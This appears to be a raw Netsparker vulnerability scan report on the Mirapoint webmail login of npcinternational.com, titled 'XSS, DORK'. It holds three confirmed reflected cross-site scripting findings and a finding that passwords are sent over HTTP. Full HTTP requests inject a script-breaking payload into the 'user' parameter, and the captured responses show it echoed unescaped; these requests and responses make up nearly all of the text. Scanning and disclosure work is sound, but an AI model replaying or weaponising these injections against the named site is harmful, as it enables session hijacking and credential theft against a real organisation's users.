XSS, DORK, npcinternational.com REPORT SUMMARYLoading
Netsparker - Scan Report Summary
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Total RequestsAverage Speedreq/sec. |
6
identified
6
confirmed
0
critical
1
informational
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GHDB, DORK TestsGHDB, DORK Tests
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Authentication
Scheduled
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VULNERABILITIESVulnerabilities
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IMPORTANT
67 %
LOW
17 %
INFORMATION
17 %
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Cross-site Scripting
Cross-site Scripting
3
TOTAL
IMPORTANT
CONFIRMED
3
XSS (Cross-site Scripting) allows an attacker to execute a dynamic script (Javascript, VbScript) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/Javascript/VbScript by the browser.
XSS targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' session, an attacker might attack an administrator to gain full control over the application.
Impact
There are many different attacks that can be leveraged through the use of XSS, including:
- Hi-jacking users' active session
- Changing the look of the page within the victims browser.
- Mounting a successful phishing attack.
- Intercept data and perform man-in-the-middle attacks.
Remedy
The issue occurs because the browser interprets the input as active HTML, Javascript or VbScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML ensure that all active content is removed prior to its presentation to the server.
Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters with which you populate a white-list. This list needs only be defined once and should be used to sanitize and validate all subsequent input.
There are a number of pre-defined, well structured white-list libraries available for many different environments, good examples of these include, OWASP Reform and Microsoft Anti Cross-site Scripting libraries are good examples.
Remedy References
External References
|
- /wm
/wm CONFIRMED |
Parameters
| Parameter | Type | Value |
| locale | GET | ja_JP.utf-8 |
| user | GET | '"--></style></script><script>alert(0x000B18)</script> |
Request
GET /wm?locale=ja_JP.utf-8&user='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000B18)%3C/script%3E HTTP/1.1
Referer: http://npcinternational.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: npcinternational.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Referer: http://npcinternational.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: npcinternational.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Response
HTTP/1.1 200 OK
Date: Tue, 19 Apr 2011 20:21:00 GMT
Server: Mirapoint
Content-Length: 3425
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=Shift_JIS
Connection: close
<html><head> <meta http-equiv="Content-Type" content="text/html; charset=Shift_JIS"> <meta http-equiv="Expires" content="Tue, 04 Dec 1993 21:29:02 GMT"> <meta http-equiv="Pragma" content="no-cache"> <LINK REL=STYLESHEET TYPE='text/css'HREF='/extras/css/style.css?sessionid=&primary_sid='><LINK REL='SHORTCUT ICON' href='/wmi/Mira_bookmark.ico'> <title>WebMail Direct</title><script language="JavaScript"><!--var isNav4 = false;var isIE4 = false;if (parseInt(navigator.appVersion.charAt(0)) >= 4) { isNav4 = (navigator.appName == "Netscape") ? true : false; isIE4 = (navigator.appName.indexOf("Microsoft") != -1) ? true : false;}function checkWhich(evt) { var theKey; if (isNav4) { if (evt.which == 13) { document.loginform.login.click(); } } else if (isIE4) { if (window.event.keyCode == 13) { window.event.returnValue = false; document.loginform.login.click(); } }}function verifyBrowser() { document.loginform.browserjs.value = "true"; if (isIE4 && navigator.appVersion.indexOf("Macintosh") == -1) document.loginform.usingIE.value = "true"; return true;}// --></script></head><body class="genLogin" onload="document.forms[0].elements[0].focus()" text='#000000' bgcolor='#ffffff'><center><table border=0 cellpadding=8 cellspacing=0> <tr> <td valign=bottom align=right colspan=2> <font size="+2" class="genLoginTitle" color='#29006b'><B>WebMail Direct</B></font> </td> </tr> <tr> <td valign="top"><img src="/wmi/logosmall.gif?brandname=" width=142 height=118></td> <td align=right> <form method="POST" action="/wm/mail/login.html" enctype="application/x-www-form-urlencoded" name="loginform" onSubmit="verifyBrowser();"> <br> <br> <table border=0 cellspacing=0> <tr> <td align=right nowrap>ユーザ：</td> <td align=left><input type="text" name="user" value="'"--></style></script><script>netsparker(0x000B18)</script>" size=20 onkeypress="checkWhich(event)"></td> </tr> <tr> <td align=right nowrap>パスワード：</td> <td align=left><input type="password" name="password" value="" size=20 onkeypress="checkWhich(event)"></td> </tr> <tr> <td> </td> <td align=right><input type="submit" name="login" value="ログイン" class="genBtn"></td> </tr> </table> <input type="hidden" name="timestamp" value="51170157"> <input type="hidden" name="locale" value="ja_JP.utf-8"> <input type="hidden" name="usingIE" value="false"> <input type='hidden' name="browserjs" value="false"> </form> </td> </tr> <tr> <td align=right colspan=2><font size=-1> </font></td> </tr> <tr> <td colspan=2> <table> <tr> <td align=center> <a href='/wm?locale=en_US.ISO_8859-1&user='"--></style></script><script>netsparker(0x000B18)</script>'> <nobr>英語</nobr></a> - <a name='/wm?locale=ja_JP.utf-8&user='"--></style></script><script>netsparker(0x000B18)</script>'> <nobr>日本語</nobr></a> </td> </tr> </table> </td> </tr> <tr> <td align=right colspan=2> <img src="/wmi/poweredby.gif?brandname=" border=0><BR> <font size='-2'>Copyright © 1998-2008 <a href='http://www.mirapoint.com'>Mirapoint Software</a>, Inc.</font> </td> </tr></table></center></body></html>
Date: Tue, 19 Apr 2011 20:21:00 GMT
Server: Mirapoint
Content-Length: 3425
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=Shift_JIS
Connection: close
<html><head> <meta http-equiv="Content-Type" content="text/html; charset=Shift_JIS"> <meta http-equiv="Expires" content="Tue, 04 Dec 1993 21:29:02 GMT"> <meta http-equiv="Pragma" content="no-cache"> <LINK REL=STYLESHEET TYPE='text/css'HREF='/extras/css/style.css?sessionid=&primary_sid='><LINK REL='SHORTCUT ICON' href='/wmi/Mira_bookmark.ico'> <title>WebMail Direct</title><script language="JavaScript"><!--var isNav4 = false;var isIE4 = false;if (parseInt(navigator.appVersion.charAt(0)) >= 4) { isNav4 = (navigator.appName == "Netscape") ? true : false; isIE4 = (navigator.appName.indexOf("Microsoft") != -1) ? true : false;}function checkWhich(evt) { var theKey; if (isNav4) { if (evt.which == 13) { document.loginform.login.click(); } } else if (isIE4) { if (window.event.keyCode == 13) { window.event.returnValue = false; document.loginform.login.click(); } }}function verifyBrowser() { document.loginform.browserjs.value = "true"; if (isIE4 && navigator.appVersion.indexOf("Macintosh") == -1) document.loginform.usingIE.value = "true"; return true;}// --></script></head><body class="genLogin" onload="document.forms[0].elements[0].focus()" text='#000000' bgcolor='#ffffff'><center><table border=0 cellpadding=8 cellspacing=0> <tr> <td valign=bottom align=right colspan=2> <font size="+2" class="genLoginTitle" color='#29006b'><B>WebMail Direct</B></font> </td> </tr> <tr> <td valign="top"><img src="/wmi/logosmall.gif?brandname=" width=142 height=118></td> <td align=right> <form method="POST" action="/wm/mail/login.html" enctype="application/x-www-form-urlencoded" name="loginform" onSubmit="verifyBrowser();"> <br> <br> <table border=0 cellspacing=0> <tr> <td align=right nowrap>ユーザ：</td> <td align=left><input type="text" name="user" value="'"--></style></script><script>netsparker(0x000B18)</script>" size=20 onkeypress="checkWhich(event)"></td> </tr> <tr> <td align=right nowrap>パスワード：</td> <td align=left><input type="password" name="password" value="" size=20 onkeypress="checkWhich(event)"></td> </tr> <tr> <td> </td> <td align=right><input type="submit" name="login" value="ログイン" class="genBtn"></td> </tr> </table> <input type="hidden" name="timestamp" value="51170157"> <input type="hidden" name="locale" value="ja_JP.utf-8"> <input type="hidden" name="usingIE" value="false"> <input type='hidden' name="browserjs" value="false"> </form> </td> </tr> <tr> <td align=right colspan=2><font size=-1> </font></td> </tr> <tr> <td colspan=2> <table> <tr> <td align=center> <a href='/wm?locale=en_US.ISO_8859-1&user='"--></style></script><script>netsparker(0x000B18)</script>'> <nobr>英語</nobr></a> - <a name='/wm?locale=ja_JP.utf-8&user='"--></style></script><script>netsparker(0x000B18)</script>'> <nobr>日本語</nobr></a> </td> </tr> </table> </td> </tr> <tr> <td align=right colspan=2> <img src="/wmi/poweredby.gif?brandname=" border=0><BR> <font size='-2'>Copyright © 1998-2008 <a href='http://www.mirapoint.com'>Mirapoint Software</a>, Inc.</font> </td> </tr></table></center></body></html>
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- /wm/mail/login.html
/wm/mail/login.html CONFIRMED |
Parameters
| Parameter | Type | Value |
| user | POST | '"--></style></script><script>alert(0x000B6D)</script> |
| password | POST | 3 |
| login | POST | Login |
| timestamp | POST | 51170138 |
| locale | POST | 3 |
| usingIE | POST | false |
| browserjs | POST | false |
Request
POST /wm/mail/login.html HTTP/1.1
Referer: http://npcinternational.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: npcinternational.com
Content-Length: 171
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
user='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x000B6D)%3c%2fscript%3e&password=3&login=Login×tamp=51170138&locale=3&usingIE=false&browserjs=false
Referer: http://npcinternational.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: npcinternational.com
Content-Length: 171
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
user='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x000B6D)%3c%2fscript%3e&password=3&login=Login×tamp=51170138&locale=3&usingIE=false&browserjs=false
Response
HTTP/1.1 200 OK
Date: Tue, 19 Apr 2011 20:21:37 GMT
Server: Mirapoint
Content-Length: 3496
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Connection: close
<html><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <meta http-equiv="Expires" content="Tue, 04 Dec 1993 21:29:02 GMT"> <meta http-equiv="Pragma" content="no-cache"> <LINK REL=STYLESHEET TYPE='text/css'HREF='/extras/css/style.css?sessionid=&primary_sid='><LINK REL='SHORTCUT ICON' href='/wmi/Mira_bookmark.ico'> <title>WebMail Direct</title><script language="JavaScript"><!--var isNav4 = false;var isIE4 = false;if (parseInt(navigator.appVersion.charAt(0)) >= 4) { isNav4 = (navigator.appName == "Netscape") ? true : false; isIE4 = (navigator.appName.indexOf("Microsoft") != -1) ? true : false;}function checkWhich(evt) { var theKey; if (isNav4) { if (evt.which == 13) { document.loginform.login.click(); } } else if (isIE4) { if (window.event.keyCode == 13) { window.event.returnValue = false; document.loginform.login.click(); } }}function verifyBrowser() { document.loginform.browserjs.value = "true"; if (isIE4 && navigator.appVersion.indexOf("Macintosh") == -1) document.loginform.usingIE.value = "true"; return true;}// --></script></head><body class="genLogin" onload="document.forms[0].elements[0].focus()" text='#000000' bgcolor='#ffffff'><center><table border=0 cellpadding=8 cellspacing=0> <tr> <td valign=bottom align=right colspan=2> <font size="+2" class="genLoginTitle" color='#29006b'><B>WebMail Direct</B></font> </td> </tr> <tr> <td valign="top"><img src="/wmi/logosmall.gif?brandname=" width=142 height=118></td> <td align=right> <form method="POST" action="/wm/mail/login.html" enctype="application/x-www-form-urlencoded" name="loginform" onSubmit="verifyBrowser();"> <br> <br> <table border=0 cellspacing=0> <tr> <td align=right nowrap>User:</td> <td align=left><input type="text" name="user" value="'"--></style></script><script>netsparker(0x000B6D)</script>" size=20 onkeypress="checkWhich(event)"></td> </tr> <tr> <td align=right nowrap>Password:</td> <td align=left><input type="password" name="password" value="" size=20 onkeypress="checkWhich(event)"></td> </tr> <tr> <td> </td> <td align=right><input type="submit" name="login" value="Login" class="genBtn"></td> </tr> </table> <input type="hidden" name="timestamp" value="51170138"> <input type="hidden" name="locale" value="3"> <input type="hidden" name="usingIE" value="false"> <input type='hidden' name="browserjs" value="false"> </form> </td> </tr> <tr> <td align=right colspan=2><font size=-1> <b>Login: </b><font class='genDataHilite' color='#ff0000'>Authentication failed</font></font></td> </tr> <tr> <td colspan=2> <table> <tr> <td align=center> - <a href='/wm?locale=en_US.ISO_8859-1&user='"--></style></script><script>netsparker(0x000B6D)</script>'> <nobr>English</nobr></a> - <a href='/wm?locale=ja_JP.utf-8&user='"--></style></script><script>netsparker(0x000B6D)</script>'> <nobr>Japanese</nobr></a> </td> </tr> </table> </td> </tr> <tr> <td align=right colspan=2> <img src="/wmi/poweredby.gif?brandname=" border=0><BR> <font size='-2'>Copyright © 1998-2008 <a href='http://www.mirapoint.com'>Mirapoint Software</a>, Inc.</font> </td> </tr></table></center></body></html>
Date: Tue, 19 Apr 2011 20:21:37 GMT
Server: Mirapoint
Content-Length: 3496
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Connection: close
<html><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <meta http-equiv="Expires" content="Tue, 04 Dec 1993 21:29:02 GMT"> <meta http-equiv="Pragma" content="no-cache"> <LINK REL=STYLESHEET TYPE='text/css'HREF='/extras/css/style.css?sessionid=&primary_sid='><LINK REL='SHORTCUT ICON' href='/wmi/Mira_bookmark.ico'> <title>WebMail Direct</title><script language="JavaScript"><!--var isNav4 = false;var isIE4 = false;if (parseInt(navigator.appVersion.charAt(0)) >= 4) { isNav4 = (navigator.appName == "Netscape") ? true : false; isIE4 = (navigator.appName.indexOf("Microsoft") != -1) ? true : false;}function checkWhich(evt) { var theKey; if (isNav4) { if (evt.which == 13) { document.loginform.login.click(); } } else if (isIE4) { if (window.event.keyCode == 13) { window.event.returnValue = false; document.loginform.login.click(); } }}function verifyBrowser() { document.loginform.browserjs.value = "true"; if (isIE4 && navigator.appVersion.indexOf("Macintosh") == -1) document.loginform.usingIE.value = "true"; return true;}// --></script></head><body class="genLogin" onload="document.forms[0].elements[0].focus()" text='#000000' bgcolor='#ffffff'><center><table border=0 cellpadding=8 cellspacing=0> <tr> <td valign=bottom align=right colspan=2> <font size="+2" class="genLoginTitle" color='#29006b'><B>WebMail Direct</B></font> </td> </tr> <tr> <td valign="top"><img src="/wmi/logosmall.gif?brandname=" width=142 height=118></td> <td align=right> <form method="POST" action="/wm/mail/login.html" enctype="application/x-www-form-urlencoded" name="loginform" onSubmit="verifyBrowser();"> <br> <br> <table border=0 cellspacing=0> <tr> <td align=right nowrap>User:</td> <td align=left><input type="text" name="user" value="'"--></style></script><script>netsparker(0x000B6D)</script>" size=20 onkeypress="checkWhich(event)"></td> </tr> <tr> <td align=right nowrap>Password:</td> <td align=left><input type="password" name="password" value="" size=20 onkeypress="checkWhich(event)"></td> </tr> <tr> <td> </td> <td align=right><input type="submit" name="login" value="Login" class="genBtn"></td> </tr> </table> <input type="hidden" name="timestamp" value="51170138"> <input type="hidden" name="locale" value="3"> <input type="hidden" name="usingIE" value="false"> <input type='hidden' name="browserjs" value="false"> </form> </td> </tr> <tr> <td align=right colspan=2><font size=-1> <b>Login: </b><font class='genDataHilite' color='#ff0000'>Authentication failed</font></font></td> </tr> <tr> <td colspan=2> <table> <tr> <td align=center> - <a href='/wm?locale=en_US.ISO_8859-1&user='"--></style></script><script>netsparker(0x000B6D)</script>'> <nobr>English</nobr></a> - <a href='/wm?locale=ja_JP.utf-8&user='"--></style></script><script>netsparker(0x000B6D)</script>'> <nobr>Japanese</nobr></a> </td> </tr> </table> </td> </tr> <tr> <td align=right colspan=2> <img src="/wmi/poweredby.gif?brandname=" border=0><BR> <font size='-2'>Copyright © 1998-2008 <a href='http://www.mirapoint.com'>Mirapoint Software</a>, Inc.</font> </td> </tr></table></center></body></html>
|
- /wm/mail/login.html
/wm/mail/login.html CONFIRMED |
Parameters
| Parameter | Type | Value |
| user | POST | '"--></style></script><script>alert(0x000BC3)</script> |
| password | POST | 3 |
| timestamp | POST | 51170138 |
| locale | POST | 3 |
| usingIE | POST | false |
| browserjs | POST | false |
Request
POST /wm/mail/login.html HTTP/1.1
Referer: http://npcinternational.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: npcinternational.com
Content-Length: 159
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
user='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x000BC3)%3c%2fscript%3e&password=3×tamp=51170138&locale=3&usingIE=false&browserjs=false
Referer: http://npcinternational.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: npcinternational.com
Content-Length: 159
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
user='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x000BC3)%3c%2fscript%3e&password=3×tamp=51170138&locale=3&usingIE=false&browserjs=false
Response
HTTP/1.1 200 OK
Date: Tue, 19 Apr 2011 20:23:18 GMT
Server: Mirapoint
Content-Length: 3507
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Connection: close
<html><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <meta http-equiv="Expires" content="Tue, 04 Dec 1993 21:29:02 GMT"> <meta http-equiv="Pragma" content="no-cache"> <LINK REL=STYLESHEET TYPE='text/css'HREF='/extras/css/style.css?sessionid=&primary_sid='><LINK REL='SHORTCUT ICON' href='/wmi/Mira_bookmark.ico'> <title>WebMail Direct</title><script language="JavaScript"><!--var isNav4 = false;var isIE4 = false;if (parseInt(navigator.appVersion.charAt(0)) >= 4) { isNav4 = (navigator.appName == "Netscape") ? true : false; isIE4 = (navigator.appName.indexOf("Microsoft") != -1) ? true : false;}function checkWhich(evt) { var theKey; if (isNav4) { if (evt.which == 13) { document.loginform.login.click(); } } else if (isIE4) { if (window.event.keyCode == 13) { window.event.returnValue = false; document.loginform.login.click(); } }}function verifyBrowser() { document.loginform.browserjs.value = "true"; if (isIE4 && navigator.appVersion.indexOf("Macintosh") == -1) document.loginform.usingIE.value = "true"; return true;}// --></script></head><body class="genLogin" onload="document.forms[0].elements[0].focus()" text='#000000' bgcolor='#ffffff'><center><table border=0 cellpadding=8 cellspacing=0> <tr> <td valign=bottom align=right colspan=2> <font size="+2" class="genLoginTitle" color='#29006b'><B>WebMail Direct</B></font> </td> </tr> <tr> <td valign="top"><img src="/wmi/logosmall.gif?brandname=" width=142 height=118></td> <td align=right> <form method="POST" action="/wm/mail/login.html" enctype="application/x-www-form-urlencoded" name="loginform" onSubmit="verifyBrowser();"> <br> <br> <table border=0 cellspacing=0> <tr> <td align=right nowrap>User:</td> <td align=left><input type="text" name="user" value="'"--></style></script><script>netsparker(0x000BC3)</script>" size=20 onkeypress="checkWhich(event)"></td> </tr> <tr> <td align=right nowrap>Password:</td> <td align=left><input type="password" name="password" value="" size=20 onkeypress="checkWhich(event)"></td> </tr> <tr> <td> </td> <td align=right><input type="submit" name="login" value="Login" class="genBtn"></td> </tr> </table> <input type="hidden" name="timestamp" value="51170295"> <input type="hidden" name="locale" value="3"> <input type="hidden" name="usingIE" value="false"> <input type='hidden' name="browserjs" value="false"> </form> </td> </tr> <tr> <td align=right colspan=2><font size=-1> <b>Login: </b><font class='genDataHilite' color='#ff0000'>Page has expired. Please try again.</font></font></td> </tr> <tr> <td colspan=2> <table> <tr> <td align=center> <a href='/wm?locale=en_US.ISO_8859-1&user='"--></style></script><script>netsparker(0x000BC3)</script>'> <nobr>English</nobr></a> - <a href='/wm?locale=ja_JP.utf-8&user='"--></style></script><script>netsparker(0x000BC3)</script>'> <nobr>Japanese</nobr></a> </td> </tr> </table> </td> </tr> <tr> <td align=right colspan=2> <img src="/wmi/poweredby.gif?brandname=" border=0><BR> <font size='-2'>Copyright © 1998-2008 <a href='http://www.mirapoint.com'>Mirapoint Software</a>, Inc.</font> </td> </tr></table></center></body></html>
Date: Tue, 19 Apr 2011 20:23:18 GMT
Server: Mirapoint
Content-Length: 3507
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Connection: close
<html><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <meta http-equiv="Expires" content="Tue, 04 Dec 1993 21:29:02 GMT"> <meta http-equiv="Pragma" content="no-cache"> <LINK REL=STYLESHEET TYPE='text/css'HREF='/extras/css/style.css?sessionid=&primary_sid='><LINK REL='SHORTCUT ICON' href='/wmi/Mira_bookmark.ico'> <title>WebMail Direct</title><script language="JavaScript"><!--var isNav4 = false;var isIE4 = false;if (parseInt(navigator.appVersion.charAt(0)) >= 4) { isNav4 = (navigator.appName == "Netscape") ? true : false; isIE4 = (navigator.appName.indexOf("Microsoft") != -1) ? true : false;}function checkWhich(evt) { var theKey; if (isNav4) { if (evt.which == 13) { document.loginform.login.click(); } } else if (isIE4) { if (window.event.keyCode == 13) { window.event.returnValue = false; document.loginform.login.click(); } }}function verifyBrowser() { document.loginform.browserjs.value = "true"; if (isIE4 && navigator.appVersion.indexOf("Macintosh") == -1) document.loginform.usingIE.value = "true"; return true;}// --></script></head><body class="genLogin" onload="document.forms[0].elements[0].focus()" text='#000000' bgcolor='#ffffff'><center><table border=0 cellpadding=8 cellspacing=0> <tr> <td valign=bottom align=right colspan=2> <font size="+2" class="genLoginTitle" color='#29006b'><B>WebMail Direct</B></font> </td> </tr> <tr> <td valign="top"><img src="/wmi/logosmall.gif?brandname=" width=142 height=118></td> <td align=right> <form method="POST" action="/wm/mail/login.html" enctype="application/x-www-form-urlencoded" name="loginform" onSubmit="verifyBrowser();"> <br> <br> <table border=0 cellspacing=0> <tr> <td align=right nowrap>User:</td> <td align=left><input type="text" name="user" value="'"--></style></script><script>netsparker(0x000BC3)</script>" size=20 onkeypress="checkWhich(event)"></td> </tr> <tr> <td align=right nowrap>Password:</td> <td align=left><input type="password" name="password" value="" size=20 onkeypress="checkWhich(event)"></td> </tr> <tr> <td> </td> <td align=right><input type="submit" name="login" value="Login" class="genBtn"></td> </tr> </table> <input type="hidden" name="timestamp" value="51170295"> <input type="hidden" name="locale" value="3"> <input type="hidden" name="usingIE" value="false"> <input type='hidden' name="browserjs" value="false"> </form> </td> </tr> <tr> <td align=right colspan=2><font size=-1> <b>Login: </b><font class='genDataHilite' color='#ff0000'>Page has expired. Please try again.</font></font></td> </tr> <tr> <td colspan=2> <table> <tr> <td align=center> <a href='/wm?locale=en_US.ISO_8859-1&user='"--></style></script><script>netsparker(0x000BC3)</script>'> <nobr>English</nobr></a> - <a href='/wm?locale=ja_JP.utf-8&user='"--></style></script><script>netsparker(0x000BC3)</script>'> <nobr>Japanese</nobr></a> </td> </tr> </table> </td> </tr> <tr> <td align=right colspan=2> <img src="/wmi/poweredby.gif?brandname=" border=0><BR> <font size='-2'>Copyright © 1998-2008 <a href='http://www.mirapoint.com'>Mirapoint Software</a>, Inc.</font> </td> </tr></table></center></body></html>
Password Transmitted Over HTTP
Password Transmitted Over HTTP
1
TOTAL
IMPORTANT
CONFIRMED
1
Netsparker identified that password data is sent over HTTP.
Impact
If an attacker can intercept network traffic he/she can steal users credentials.
Actions to Take
- See the remedy for solution.
- Move all of your critical forms and pages to HTTPS and do not serve them over HTTP.
Remedy
All sensitive data should be transferred over HTTPS rather than HTTP. Forms should be served over HTTPS. All aspects of the application that accept user input starting from the login process should only be served over HTTPS.
|
- /
/ CONFIRMED |
Form target action
/wm/mail/login.html
Request
GET / HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: npcinternational.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: npcinternational.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Response
HTTP/1.1 200 OK
Date: Tue, 19 Apr 2011 20:20:41 GMT
Server: Mirapoint
Content-Length: 3246
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
<html><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <meta http-equiv="Expires" content="Tue, 04 Dec 1993 21:29:02 GMT"> <meta http-equiv="Pragma" content="no-cache"> <LINK REL=STYLESHEET TYPE='text/css' HREF='/extras/css/style.css'><LINK REL='SHORTCUT ICON' href='/wmi/Mira_bookmark.ico'> <title>Webmail Direct</title><script language="JavaScript"><!--var isNav4 = false;var isIE4 = false;if (parseInt(navigator.appVersion.charAt(0)) >= 4) { isNav4 = (navigator.appName == "Netscape") ? true : false; isIE4 = (navigator.appName.indexOf("Microsoft") != -1) ? true : false;}function checkWhich(evt) { var theKey; if (isNav4) { if (evt.which == 13) { document.loginform.login.click(); } } else if (isIE4) { if (window.event.keyCode == 13) { window.event.returnValue = false; document.loginform.login.click(); } }}function verifyBrowser() { document.loginform.browserjs.value = "true"; if (isIE4 && navigator.appVersion.indexOf("Macintosh") == -1) document.loginform.usingIE.value = "true"; return true;}function myfunction(evt) { if (evt.which == 13) { return false; } document.routeEvent(evt); return true;}if (isNav4) { document.captureEvents(Event.KEYUP); document.onkeyup = myfunction;} // --></script></head><body class="genLogin" onload="document.forms[0].elements[0].focus()"><center><table border=0 cellpadding=8 cellspacing=0> <tr> <td valign=bottom align=right colspan=2> <font size="+2" class="genLoginTitle"><B>Webmail Direct</B></font> </td> </tr> <tr> <td valign="top"><img src="/images/NPCcolorNew.gif?brandname=system" width=276 height=162></td> <td align=right> <form method="POST" action="/wm/mail/login.html" enctype="application/x-www-form-urlencoded" name="loginform" onSubmit="verifyBrowser();"> <br> <br> <table border=0 cellspacing=0> <tr> <td align=right nowrap>User:</td> <td align=left><input type="text" name="user" value="" size=20 onkeypress="checkWhich(event)"></td> </tr> <tr> <td align=right nowrap>Password:</td> <td align=left><input type="password" name="password" value="" size=20 onkeypress="checkWhich(event)"></td> </tr> <tr> <td> </td> <td align=right><input type="submit" name="login" value="Login" class="genBtn"></td> </tr> </table> <input type="hidden" name="timestamp" value="51170138"> <input type="hidden" name="locale" value=""> <input type="hidden" name="usingIE" value="false"> <input type='hidden' name="browserjs" value="false"> </form> </td> </tr> <tr> <td align=right colspan=2><font size=-1> </font></td> </tr> <tr> <td colspan=2> <table> <tr> <td align=center> <a name='/wm?locale=en_US.ISO_8859-1&user='> <nobr>English</nobr></a> - <a href='/wm?locale=ja_JP.utf-8&user='> <nobr>Japanese</nobr></a> </td> </tr> </table> </td> </tr> <tr> <td align=right colspan=2> <img src="/wmi/poweredby.gif?brandname=system" border=0><BR> </td> </tr></table></center></body></html>
Date: Tue, 19 Apr 2011 20:20:41 GMT
Server: Mirapoint
Content-Length: 3246
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
<html><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <meta http-equiv="Expires" content="Tue, 04 Dec 1993 21:29:02 GMT"> <meta http-equiv="Pragma" content="no-cache"> <LINK REL=STYLESHEET TYPE='text/css' HREF='/extras/css/style.css'><LINK REL='SHORTCUT ICON' href='/wmi/Mira_bookmark.ico'> <title>Webmail Direct</title><script language="JavaScript"><!--var isNav4 = false;var isIE4 = false;if (parseInt(navigator.appVersion.charAt(0)) >= 4) { isNav4 = (navigator.appName == "Netscape") ? true : false; isIE4 = (navigator.appName.indexOf("Microsoft") != -1) ? true : false;}function checkWhich(evt) { var theKey; if (isNav4) { if (evt.which == 13) { document.loginform.login.click(); } } else if (isIE4) { if (window.event.keyCode == 13) { window.event.returnValue = false; document.loginform.login.click(); } }}function verifyBrowser() { document.loginform.browserjs.value = "true"; if (isIE4 && navigator.appVersion.indexOf("Macintosh") == -1) document.loginform.usingIE.value = "true"; return true;}function myfunction(evt) { if (evt.which == 13) { return false; } document.routeEvent(evt); return true;}if (isNav4) { document.captureEvents(Event.KEYUP); document.onkeyup = myfunction;} // --></script></head><body class="genLogin" onload="document.forms[0].elements[0].focus()"><center><table border=0 cellpadding=8 cellspacing=0> <tr> <td valign=bottom align=right colspan=2> <font size="+2" class="genLoginTitle"><B>Webmail Direct</B></font> </td> </tr> <tr> <td valign="top"><img src="/images/NPCcolorNew.gif?brandname=system" width=276 height=162></td> <td align=right> <form method="POST" action="/wm/mail/login.html" enctype="application/x-www-form-urlencoded" name="loginform" onSubmit="verifyBrowser();"> <br> <br> <table border=0 cellspacing=0> <tr> <td align=right nowrap>User:</td> <td align=left><input type="text" name="user" value="" size=20 onkeypress="checkWhich(event)"></td> </tr> <tr> <td align=right nowrap>Password:</td> <td align=left><input type="password" name="password" value="" size=20 onkeypress="checkWhich(event)"></td> </tr> <tr> <td> </td> <td align=right><input type="submit" name="login" value="Login" class="genBtn"></td> </tr> </table> <input type="hidden" name="timestamp" value="51170138"> <input type="hidden" name="locale" value=""> <input type="hidden" name="usingIE" value="false"> <input type='hidden' name="browserjs" value="false"> </form> </td> </tr> <tr> <td align=right colspan=2><font size=-1> </font></td> </tr> <tr> <td colspan=2> <table> <tr> <td align=center> <a name='/wm?locale=en_US.ISO_8859-1&user='> <nobr>English</nobr></a> - <a href='/wm?locale=ja_JP.utf-8&user='> <nobr>Japanese</nobr></a> </td> </tr> </table> </td> </tr> <tr> <td align=right colspan=2> <img src="/wmi/poweredby.gif?brandname=system" border=0><BR> </td> </tr></table></center></body></html>
Auto Complete Enabled
Auto Complete Enabled
1
TOTAL
LOW
CONFIRMED
1
